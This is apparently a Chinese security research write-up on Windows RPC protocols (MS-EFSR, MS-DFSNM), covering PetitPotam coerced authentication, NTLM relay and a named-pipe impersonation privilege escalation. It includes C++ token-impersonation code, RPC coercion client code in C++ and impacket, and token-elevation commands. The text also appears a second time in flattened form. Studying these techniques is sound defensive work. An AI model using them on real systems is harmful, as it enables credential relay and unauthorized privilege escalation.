WindowsRPC协议-从入门到提权0day
字数 1388 2025-08-26 22:11:51

Windows RPC协议从入门到提权0day研究

1. MS-EFSR协议分析

1.1 EFSRPC协议基础

MS-EFSR协议是Windows用于远程存储和加密数据管理的协议,必须通过\pipe\lsarpc\pipe\efsrpc管道通信,对应UUID为:

  • c681d488-d850-11d0-8c52-00c04fd90f7e
  • df1941c5-fe89-4e79-bf10-463657acf44d

注意:实际上任何lsass.exe创建的管道都可使用,但efsrpc管道必须使用第二个UUID。

1.2 PetitPotam漏洞分析

PetitPotam利用的是EfsRpcOpenFileRaw API,该API通常用于备份软件,功能是打开文件。漏洞原理:

  1. 通过\pipe\lsass管道发送EFSRPC协议
  2. 目标的lsass.exe进程会对指定IP发起认证请求
  3. 请求管道为\\IP\PIPE\srvsvc
  4. 成功后访问要求操作的文件路径

利用方式

  • 使用Responder获取NTLM-NET-V2哈希进行破解
  • 使用ntlmrelayx.py进行中继利用

修复情况:已在CVE-2021-36942中修复

1.3 EFS协议本地提权

提权流程

  1. 构造请求路径为\\IP/pipe/sss\filename
  2. lsass.exe会请求\\IP\pipe\sss\PIPE\srvsvc
  3. 手动创建该管道并设置特殊服务操作
  4. 模拟连接用户权限创建任意进程

关键代码实现

// 创建恶意管道
HANDLE hNamedPipe = CreateNamedPipe(
    L"\\\\.\\pipe\\lsarpc\\pipe\\srvsvc", 
    PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, 
    PIPE_TYPE_BYTE | PIPE_WAIT, 
    10, 2048, 2048, 0, &sa
);

// 提权核心代码
if(ImpersonateNamedPipeClient(hNamedPipe)) {
    OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
    DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &phNewToken);
    CreateProcessAsUser(phNewToken, ...);
}

2. MS-DFSNM协议分析

2.1 DFS协议基础

MS-DFSNM协议必须通过\PIPE\NETDFS管道通信,UUID为4FC742E0-4A10-11CF-8273-00AA004AE673

协议特点

  • 进程为dfssvc.exe
  • Win2012首次启用会访问\PIPE\winreg
  • Win2016会访问\PIPE\wkssvc

2.2 DFSNM利用方式

中继利用:与PetitPotam类似,强制服务器到指定IP进行认证

提权利用:通过管道模拟实现权限提升

3. RPC编程实践

3.1 C++实现MS-DFSNM客户端

基本流程

  1. 从微软文档获取完整IDL文件
  2. 编译IDL生成客户端代码
  3. 实现RPC连接和调用

关键代码

// RPC连接初始化
RpcStringBindingCompose(
    (RPC_WSTR)L"4FC742E0-4A10-11CF-8273-00AA004AE673",
    (RPC_WSTR)L"ncacn_np",
    (RPC_WSTR)L"\\\\127.0.0.1",
    (RPC_WSTR)L"\\pipe\\netdfs",
    NULL,
    &StringBinding
);

// API调用
NetrDfsAddStdRoot(Binding, L"\\\\127.0.0.1/pipe/qwe", L"test", L"comment", NULL);

3.2 Python实现

使用impacket库实现DFSNM协议调用:

from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import *

class NetrDfsAddStdRoot(NDRCALL):
    opnum = 12
    structure = (
        ('ServerName', WSTR),
        ('RootShare', WSTR),
        ('Comment', WSTR),
        ('ApiFlags', DWORD),
    )

3.3 RPCView逆向分析

编译步骤

  1. 安装CMake、QT和Visual Studio
  2. 修改RpcInternals.h中的版本号
  3. 使用CMake生成项目并编译

使用流程

  1. 打开RPCView查看所有RPC端点和接口
  2. 根据协议文档定位目标接口
  3. 反编译获取IDL定义

4. 附录:权限获取技巧

4.1 获取Local Service权限

使用PSexec

psexec -i -d -u "NT AUTHORITY\LocalService" cmd

使用NtObjectManager

Install-Module -Name NtObjectManager -RequiredVersion 1.1.32
$sess = Get-NtToken -Session
$token = Get-NtToken -Service LocalService -AdditionalGroups $sess.LogonSid.Sid
New-Win32Process cmd -Token $token -CreationFlags NewConsole

4.2 获取SYSTEM权限

$p = Start-Win32ChildProcess powershell

5. 总结

本文详细分析了Windows RPC协议的安全问题,特别是EFS和DFSNM协议的强制认证和本地提权漏洞。通过C++和Python两种方式实现了RPC客户端编程,并介绍了使用RPCView进行逆向分析的方法。最后提供了获取系统权限的实用技巧,为安全研究人员提供了全面的参考。

Windows RPC协议从入门到提权0day研究 1. MS-EFSR协议分析 1.1 EFSRPC协议基础 MS-EFSR协议是Windows用于远程存储和加密数据管理的协议,必须通过 \pipe\lsarpc 或 \pipe\efsrpc 管道通信,对应UUID为: c681d488-d850-11d0-8c52-00c04fd90f7e df1941c5-fe89-4e79-bf10-463657acf44d 注意 :实际上任何lsass.exe创建的管道都可使用,但efsrpc管道必须使用第二个UUID。 1.2 PetitPotam漏洞分析 PetitPotam利用的是 EfsRpcOpenFileRaw API,该API通常用于备份软件,功能是打开文件。漏洞原理: 通过 \pipe\lsass 管道发送EFSRPC协议 目标的lsass.exe进程会对指定IP发起认证请求 请求管道为 \\IP\PIPE\srvsvc 成功后访问要求操作的文件路径 利用方式 : 使用Responder获取NTLM-NET-V2哈希进行破解 使用ntlmrelayx.py进行中继利用 修复情况 :已在CVE-2021-36942中修复 1.3 EFS协议本地提权 提权流程 : 构造请求路径为 \\IP/pipe/sss\filename lsass.exe会请求 \\IP\pipe\sss\PIPE\srvsvc 手动创建该管道并设置特殊服务操作 模拟连接用户权限创建任意进程 关键代码实现 : 2. MS-DFSNM协议分析 2.1 DFS协议基础 MS-DFSNM协议必须通过 \PIPE\NETDFS 管道通信,UUID为 4FC742E0-4A10-11CF-8273-00AA004AE673 。 协议特点 : 进程为dfssvc.exe Win2012首次启用会访问 \PIPE\winreg Win2016会访问 \PIPE\wkssvc 2.2 DFSNM利用方式 中继利用 :与PetitPotam类似,强制服务器到指定IP进行认证 提权利用 :通过管道模拟实现权限提升 3. RPC编程实践 3.1 C++实现MS-DFSNM客户端 基本流程 : 从微软文档获取完整IDL文件 编译IDL生成客户端代码 实现RPC连接和调用 关键代码 : 3.2 Python实现 使用impacket库实现DFSNM协议调用: 3.3 RPCView逆向分析 编译步骤 : 安装CMake、QT和Visual Studio 修改RpcInternals.h中的版本号 使用CMake生成项目并编译 使用流程 : 打开RPCView查看所有RPC端点和接口 根据协议文档定位目标接口 反编译获取IDL定义 4. 附录:权限获取技巧 4.1 获取Local Service权限 使用PSexec : 使用NtObjectManager : 4.2 获取SYSTEM权限 5. 总结 本文详细分析了Windows RPC协议的安全问题,特别是EFS和DFSNM协议的强制认证和本地提权漏洞。通过C++和Python两种方式实现了RPC客户端编程,并介绍了使用RPCView进行逆向分析的方法。最后提供了获取系统权限的实用技巧,为安全研究人员提供了全面的参考。